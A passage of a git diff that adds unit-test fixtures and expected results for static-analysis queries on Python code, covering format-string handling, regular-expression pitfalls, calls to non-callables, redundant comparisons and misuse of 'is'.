"{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{}" +) + +#Make sure nested braces are handled properly: +"ANS_{}=${{{}}}".format(x, xID) + +def foo(msg_width): + stdout.write(u'{}\r{}{:<{}}'.format(1, 2, 3, 4)) + stdout.write(u'{}\r{}{:<{width}}'.format(1, 2, 3, width=msg_width)) + +#Check parsing with punctuation. +"invalid value of type {.__name__}: {}".format(int, 1) + +def varying_format(cond): + fmt = "{}" if cond else "{}, {}" + return fmt.format("hello", "world") diff --git a/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.expected b/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.expected new file mode 100644 index 00000000000..1f9bf778bd3 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.expected @@ -0,0 +1,2 @@ +| test.py:17:12:17:22 | Str | Backspace escape in regular expression at offset 1. | +| test.py:19:12:19:28 | Str | Backspace escape in regular expression at offset 8. | diff --git a/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref b/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref new file mode 100644 index 00000000000..2bf85f8a45a --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref @@ -0,0 +1 @@ +Expressions/Regex/BackspaceEscape.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.expected b/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.expected new file mode 100644 index 00000000000..c79c219256c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.expected @@ -0,0 +1,3 @@ +| test.py:41:12:41:18 | Str | This regular expression includes duplicate character 'A' in a set of characters. | +| test.py:42:12:42:19 | Str | This regular expression includes duplicate character '0' in a set of characters. | +| test.py:43:12:43:21 | Str | This regular expression includes duplicate character '-' in a set of characters. | diff --git a/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref b/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref new file mode 100644 index 00000000000..f0fc83c214e --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref @@ -0,0 +1 @@ +Expressions/Regex/DuplicateCharacterInSet.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.expected b/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.expected new file mode 100644 index 00000000000..e7bbad23899 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.expected @@ -0,0 +1,2 @@ +| test.py:22:12:22:29 | Str | Regular expression is missing '?' in named group. | +| test.py:23:12:23:33 | Str | Regular expression is missing '?' in named group. | diff --git a/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref b/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref new file mode 100644 index 00000000000..faf8f31ad4d --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref @@ -0,0 +1 @@ +Expressions/Regex/MissingPartSpecialGroup.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.expected b/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.expected new file mode 100644 index 00000000000..1d6cabfafdc --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.expected @@ -0,0 +1,4 @@ +| test.py:4:12:4:19 | Str | This regular expression includes an unmatchable caret at offset 1. | +| test.py:5:12:5:23 | Str | This regular expression includes an unmatchable caret at offset 5. | +| test.py:6:12:6:21 | Str | This regular expression includes an unmatchable caret at offset 2. | +| test.py:74:12:74:27 | Str | This regular expression includes an unmatchable caret at offset 8. | diff --git a/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref b/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref new file mode 100644 index 00000000000..161fd59f7f2 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref @@ -0,0 +1 @@ +Expressions/Regex/UnmatchableCaret.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.expected b/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.expected new file mode 100644 index 00000000000..7771654c79b --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.expected @@ -0,0 +1,4 @@ +| test.py:29:12:29:19 | Str | This regular expression includes an unmatchable dollar at offset 3. | +| test.py:30:12:30:23 | Str | This regular expression includes an unmatchable dollar at offset 3. | +| test.py:31:12:31:20 | Str | This regular expression includes an unmatchable dollar at offset 2. | +| test.py:75:12:75:26 | Str | This regular expression includes an unmatchable dollar at offset 3. | diff --git a/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref b/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref new file mode 100644 index 00000000000..b162342922c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref @@ -0,0 +1 @@ +Expressions/Regex/UnmatchableDollar.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/options b/python/ql/test/query-tests/Expressions/Regex/options new file mode 100644 index 00000000000..b91afde0767 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 diff --git a/python/ql/test/query-tests/Expressions/Regex/test.py b/python/ql/test/query-tests/Expressions/Regex/test.py new file mode 100644 index 00000000000..53576557394 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Regex/test.py @@ -0,0 +1,138 @@ +import re + +#Unmatchable caret +re.compile(b' ^abc') +re.compile(b"(?s) ^abc") +re.compile(b"\[^123]") + +#Likely false positives for unmatchable caret +re.compile(b"[^123]") +re.compile(b"[123^]") +re.sub(b'(?m)^(?!$)', indent*' ', s) +re.compile(b"()^abc") +re.compile(b"(?:(?:\n\r?)|^)( *)\S") +re.compile(b"^diff (?:-r [0-9a-f]+ ){1,2}(.*)$") + +#Backspace escape +re.compile(br"[\b\t ]") # Should warn +re.compile(br"E\d+\b.*") # Fine +re.compile(br"E\d+\b[ \b\t]") #Both + +#Missing part in named group +re.compile(br'(P[\w]+)') +re.compile(br'(_(P[\w]+)|)') +#This is OK... +re.compile(br'(?P\w+)') + + +#Unmatchable dollar +re.compile(b"abc$ ") +re.compile(b"abc$ (?s)") +re.compile(b"\[$] ") + +#Likely false positives for unmatchable dollar +re.compile(b"[$] ") +re.compile(b"\$ ") +re.compile(b"abc$(?m)") +re.compile(b"abc$()") + + +#Duplicate character in set +re.compile(b"[AA]") +re.compile(b"[000]") +re.compile(b"[-0-9-]") + +#Possible false positives +re.compile(b"[S\S]") +re.compile(b"[0\000]") +re.compile(b"[\0000]") +re.compile(b"[^^]") +re.compile(b"[-0-9]") +re.compile(b"[]]") +re.compile(b"^^^x.*") +re.compile(b".*x$$$") +re.compile(b"x*^y") +re.compile(b"x$y*") + +# False positive for unmatchable caret +re.compile(br'(?!DEFAULT_PREFS)(?!CAN_SET_ANON)^[A-Z_]+$') + +#Equivalent for unmatchable dollar +re.compile(br'^[A-Z_]+(?!DEFAULT_PREFS)(?!CAN_SET_ANON)$') + +#And for negative look-behind assertions +re.compile(br'(?[+-]?) + (?: (?P \d+ (?:\.\d*)? ) \s* [wW] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [dD] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [hH] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [mM] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [sS] )? \s* + $ + ''', + flags=re.VERBOSE) + +REGEX3 = re.compile(r''' + ^\s* + (?P[+-]?) + (?: (?P \d+ (?:\.\d*)? ) \s* [wW] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [dD] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [hH] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [mM] )? \s* + (?: (?P \d+ (?:\.\d*)? ) \s* [sS] )? \s* + $ + ''', + re.VERBOSE) + +#ODASA-6780 +DYLIB_RE = re.compile(r"""(?x) +(?P^.*)(?:^|/) +(?P + (?P\w+?) + (?:\.(?P[^._]+))? + (?:_(?P[^._]+))? + \.dylib$ +) +""") + +#ODASA-6786 +VERBOSE_REGEX = r""" + \[ # [ + (?P
    [^]]+) # very permissive! + \] # ] + """ + +# Compiled regular expression marking it as verbose +ODASA_6786 = re.compile(VERBOSE_REGEX, re.VERBOSE) + +#Named group with caret and empty choice. +re.compile(r'(?:(?P^(?:|x)))') diff --git a/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.expected b/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.expected new file mode 100644 index 00000000000..b7fb4e56b43 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.expected @@ -0,0 +1,5 @@ +| test.py:16:5:16:12 | non() | Call to a $@ of $@. | test.py:15:11:15:23 | NonCallable() | non-callable | test.py:3:1:3:26 | class NonCallable | class NonCallable | +| test.py:17:5:17:8 | Tuple() | Call to a $@ of $@. | test.py:17:5:17:6 | Tuple | non-callable | file://:Compiled Code:0:0:0:0 | builtin-class tuple | builtin-class tuple | +| test.py:18:5:18:8 | List() | Call to a $@ of $@. | test.py:18:5:18:6 | List | non-callable | file://:Compiled Code:0:0:0:0 | builtin-class list | builtin-class list | +| test.py:26:9:26:16 | non() | Call to a $@ of $@. | test.py:15:11:15:23 | NonCallable() | non-callable | test.py:3:1:3:26 | class NonCallable | class NonCallable | +| test.py:47:12:47:27 | NotImplemented() | Call to a $@ of $@. | test.py:47:12:47:25 | NotImplemented | non-callable | file://:Compiled Code:0:0:0:0 | builtin-class NotImplementedType | builtin-class NotImplementedType | diff --git a/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref b/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref new file mode 100644 index 00000000000..ea8577e6f9f --- /dev/null +++ b/python/ql/test/query-tests/Expressions/callable/NonCallableCalled.qlref @@ -0,0 +1 @@ +Expressions/NonCallableCalled.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/callable/test.py b/python/ql/test/query-tests/Expressions/callable/test.py new file mode 100644 index 00000000000..6ab04558064 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/callable/test.py @@ -0,0 +1,48 @@ + +#Non-callable called +class NonCallable(object): + pass + +class MaybeCallable(Unknown, object): + pass + +class IsCallable(object): + + def __call__(self): + pass + +def call_non_callable(arg): + non = NonCallable() + non(arg) + ()() + []() + dont_know = MaybeCallable() + dont_know() # Not a violation + ok = IsCallable() + ok() + if hasattr(non, "__call__"): + non(arg) # OK due to guard + if hasattr(non, "__init__"): + non(arg) # Not OK due to wrong guard + +import six + +#ODASA-4812 +def call_six_guarded(arg=None): + # If it's a callable, call it + if six.callable(arg): + arg = arg() + +#ODASA-6261 +def experimental_jit_scope(compile_ops=True, separate_compiled_gradients=False): + if callable(compile_ops): + def xla_compile(node_def): + return attr_value_pb2.AttrValue(b=compile_ops(node_def)) + +def foo(): + #This is so common, we have a different query for it + raise NotImplemented() + +def bar(): + return NotImplemented() + diff --git a/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.expected b/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.expected new file mode 100644 index 00000000000..f2f9a79a657 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.expected @@ -0,0 +1,10 @@ +| test.py:6:8:6:13 | Compare | Test is always true, because of $@ | test.py:4:8:4:12 | Compare | this condition | +| test.py:8:8:8:13 | Compare | Test is always true, because of $@ | test.py:4:17:4:21 | Compare | this condition | +| test.py:13:16:13:22 | Compare | Test is always false, because of $@ | test.py:11:12:11:17 | Compare | this condition | +| test.py:15:14:15:18 | Compare | Test is always true, because of $@ | test.py:11:12:11:17 | Compare | this condition | +| test.py:27:8:27:13 | Compare | Test is always true, because of $@ | test.py:25:8:25:12 | Compare | this condition | +| test.py:30:12:30:18 | Compare | Test is always false, because of $@ | test.py:25:17:25:23 | Compare | this condition | +| test.py:49:8:49:12 | Compare | Test is always false, because of $@ | test.py:47:8:47:50 | Compare | this condition | +| test.py:73:14:73:26 | Compare | Test is always true, because of $@ | test.py:71:8:71:19 | Compare | this condition | +| test.py:79:14:79:46 | Compare | Test is always true, because of $@ | test.py:77:8:77:19 | Compare | this condition | +| test.py:85:10:85:42 | Compare | Test is always true, because of $@ | test.py:83:8:83:19 | Compare | this condition | diff --git a/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref b/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref new file mode 100644 index 00000000000..fb7f75f9f61 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/comparisons/UselessComparisonTest.qlref @@ -0,0 +1 @@ +Expressions/Comparisons/UselessComparisonTest.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/comparisons/test.py b/python/ql/test/query-tests/Expressions/comparisons/test.py new file mode 100644 index 00000000000..b0bb709e2c3 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/comparisons/test.py @@ -0,0 +1,88 @@ + + +def f(w, x, y, z): + if x < 0 or z < 0: + raise Exception() + if x >= 0: # Useless test due to x < 0 being false + y += 1 + if z >= 0: # Useless test due to z < 0 being false + y += 1 + while w >= 0: + if y < 10: + z += 1 + if y == 15: # Useless test due to y < 10 being true + z += 1 + elif y > 7: # Useless test + y -= 1 + if y < 10: + y += 1 + if y < 12: #A useless test, but too complex to infer. + pass + if not y != 5 and z > 0: + w = 0 if y < 3 else 1 #Useless test as y is 5 + +def g(w, x, y, z): + if w < x or y < z+2: + raise Exception() + if w >= x: # Useless test due to w < x being false + pass + if cond: + if z > y-2: # Useless test due to y < z+2 being false + y += 1 + else: + if z >= y-2: # Not a useless test. + y += 1 + +#ODASA-5643 +def validate_series(start, end): + # Check that the values 'make sense' + if end < start: + raise click.BadParameter('The start value must be less than the end value.') + if start == end: + raise click.BadParameter('The start value and the end value most not be the same.') + return start, end + +#Overflow +def medium1(x, y): + if x + 1000000000000000 > y + 1000000000000000: + return + if x > y: # Redundant + pass + +def medium2(x, y): + if x + 1000000000000000 > y + 1000000000000001: + return + if x > y: # Not redundant + pass + +def big1(x, y): + if x + 10000000000000000 > y + 10000000000000000: + return + if x > y: # Redundant (but cannot be sure due to FP rounding errors) + pass + +def big2(x, y): + if x + 10000000000000000 > y + 10000000000000001: + return + if x > y: # Not redundant (but might appear to be due to FP rounding errors) + pass + +def odasa6782_v1(protocol): + if protocol < 0: + protocol = HIGHEST_PROTOCOL + elif not 0 <= protocol: + raise ValueError() + +def odasa6782_v2(protocol): + if protocol < 0: + protocol = HIGHEST_PROTOCOL + elif not 0 <= protocol <= HIGHEST_PROTOCOL: + raise ValueError() + +def odasa6782_v3(protocol): + if protocol < 0: + protocol = HIGHEST_PROTOCOL + elif 0 <= protocol <= HIGHEST_PROTOCOL: + pass + else: + raise ValueError() diff --git a/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.expected b/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.expected new file mode 100644 index 00000000000..6138c2efb68 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.expected @@ -0,0 +1 @@ +| expressions_test.py:46:4:46:21 | Compare | Values compared using 'is' when equivalence is not the same as identity. Use '==' instead. | diff --git a/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref b/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref new file mode 100644 index 00000000000..73123cf7628 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/eq/IncorrectComparisonUsingIs.qlref @@ -0,0 +1 @@ +Expressions/IncorrectComparisonUsingIs.ql diff --git a/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.expected b/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.expected new file mode 100644 index 00000000000..bf7e29279e2 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.expected @@ -0,0 +1,2 @@ +| expressions_test.py:51:4:51:11 | Compare | The result of this comparison with 'is' may differ between implementations of Python. | +| expressions_test.py:56:4:56:16 | Compare | The result of this comparison with 'is' may differ between implementations of Python. | diff --git a/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref b/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref new file mode 100644 index 00000000000..13c08534293 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/eq/NonPortableComparisonUsingIs.qlref @@ -0,0 +1 @@ +Expressions/NonPortableComparisonUsingIs.ql diff --git a/python/ql/test/query-tests/Expressions/eq/expressions_test.py b/python/ql/test/query-tests/Expressions/eq/expressions_test.py new file mode 100644 index 00000000000..2ffac276553 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/eq/expressions_test.py @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + +#ODASA-4519 +#OK as we are using identity tests for unique objects +V2 = "v2" +V3 = "v3" + +class C: + def __init__(self, c): + if c: + self.version = V2 + else: + self.version = V3 + + def meth(self): + if self.version is V2: #FP here. + pass + + +#Using 'is' when should be using '==' +s = "Hello " + "World" +if "Hello World" is s: + print ("OK") + +#This is OK in CPython, but may not be portable +s = str(7) +if "7" is s: + print ("OK") + +#And some data flow +CONSTANT = 20 +if x is CONSTANT: + print ("OK") + +#This is OK +x = object() +y = object() +if x is y: + print ("Very surprising!") + +#This is also OK +if s is None: + print ("Also surprising") + +#Portable is comparisons +def f(arg): + arg is () + arg is 0 + +class C(object): + def __eq__(self, other): + ''' + 'is' must be fine here. + ''' + return self is other + +#Was FP -- https://github.com/lgtmhq/lgtm-queries/issues/13 +def both_sides_known(zero_based="auto", query_id=False): + if query_id and zero_based == "auto": + zero_based = True + if zero_based is False: # False positive here + pass + diff --git a/python/ql/test/query-tests/Expressions/general/CompareConstants.expected b/python/ql/test/query-tests/Expressions/general/CompareConstants.expected new file mode 100644 index 00000000000..ea8645f523c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/CompareConstants.expected @@ -0,0 +1,2 @@ +| compare.py:12:1:12:6 | Compare | Comparison of constants; use 'True' or 'False' instead. | +| compare.py:13:1:13:6 | Compare | Comparison of constants; use 'True' or 'False' instead. | diff --git a/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref b/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref new file mode 100644 index 00000000000..0e2ab115eee --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/CompareConstants.qlref @@ -0,0 +1 @@ +Expressions/CompareConstants.ql diff --git a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.expected b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.expected new file mode 100644 index 00000000000..9132b5db786 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.expected @@ -0,0 +1,2 @@ +| compare.py:8:1:8:6 | Compare | Comparison of identical values; use cmath.isnan() if testing for not-a-number. | +| compare.py:9:1:9:10 | Compare | Comparison of identical values; use cmath.isnan() if testing for not-a-number. | diff --git a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref new file mode 100644 index 00000000000..4bc0ec69fc0 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValues.qlref @@ -0,0 +1 @@ +Expressions/CompareIdenticalValues.ql diff --git a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.expected b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.expected new file mode 100644 index 00000000000..331f591b2d4 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.expected @@ -0,0 +1 @@ +| compare.py:22:12:22:17 | Compare | Comparison of identical values; may be missing 'self'. | diff --git a/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref new file mode 100644 index 00000000000..f19a0dee436 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/CompareIdenticalValuesMissingSelf.qlref @@ -0,0 +1 @@ +Expressions/CompareIdenticalValuesMissingSelf.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.expected b/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.expected new file mode 100644 index 00000000000..cf6d78d0d36 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.expected @@ -0,0 +1,2 @@ +| expressions_test.py:89:8:89:15 | Compare | This test may raise an Exception as the $@ may be of non-container class $@. | expressions_test.py:88:11:88:17 | ControlFlowNode for XIter() | target | expressions_test.py:77:1:77:20 | class XIter | XIter | +| expressions_test.py:91:8:91:19 | Compare | This test may raise an Exception as the $@ may be of non-container class $@. | expressions_test.py:88:11:88:17 | ControlFlowNode for XIter() | target | expressions_test.py:77:1:77:20 | class XIter | XIter | diff --git a/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref b/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref new file mode 100644 index 00000000000..71df405e72c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ContainsNonContainer.qlref @@ -0,0 +1 @@ +Expressions/ContainsNonContainer.ql diff --git a/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.expected b/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.expected new file mode 100644 index 00000000000..70673ebc7c7 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.expected @@ -0,0 +1,2 @@ +| expressions_test.py:3:14:3:14 | IntegerLiteral | Dictionary key 1 is subsequently $@. | expressions_test.py:4:14:4:14 | IntegerLiteral | overwritten | +| expressions_test.py:5:14:5:17 | Str | Dictionary key 'a' is subsequently $@. | expressions_test.py:6:14:6:17 | Str | overwritten | diff --git a/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref b/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref new file mode 100644 index 00000000000..a1bb7109882 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/DuplicateKeyInDictionaryLiteral.qlref @@ -0,0 +1 @@ +Expressions/DuplicateKeyInDictionaryLiteral.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/EqualsNone.expected b/python/ql/test/query-tests/Expressions/general/EqualsNone.expected new file mode 100644 index 00000000000..b3802afa0c7 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/EqualsNone.expected @@ -0,0 +1 @@ +| expressions_test.py:115:12:115:22 | Compare | Testing for None should use the 'is' operator. | diff --git a/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref b/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref new file mode 100644 index 00000000000..8d9699258e2 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/EqualsNone.qlref @@ -0,0 +1 @@ +Expressions/EqualsNone.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.expected b/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.expected new file mode 100644 index 00000000000..ab1ab1a7915 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.expected @@ -0,0 +1 @@ +| str_fmt_test.py:5:26:5:26 | x | Right hand side of a % operator must be a mapping, not class $@. | file://:Compiled Code:0:0:0:0 | builtin-class list | list | diff --git a/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref b/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref new file mode 100644 index 00000000000..83e92584ef2 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ExpectedMappingForFormatString.qlref @@ -0,0 +1 @@ +Expressions/ExpectedMappingForFormatString.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/ExplcitCallToDel.expected b/python/ql/test/query-tests/Expressions/general/ExplcitCallToDel.expected new file mode 100644 index 00000000000..909c9d8ccc8 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ExplcitCallToDel.expected @@ -0,0 +1 @@ +Failure \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.expected b/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.expected new file mode 100644 index 00000000000..cd1c27f10e0 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/general/ExplicitCallToDel.expected @@ -0,0 +1,2 @@ +| expressions_test.py:37:1:37:11 | Attribute() | The __del__ special method is called explicitly. | +| expressions_test.py:133:9:133:22 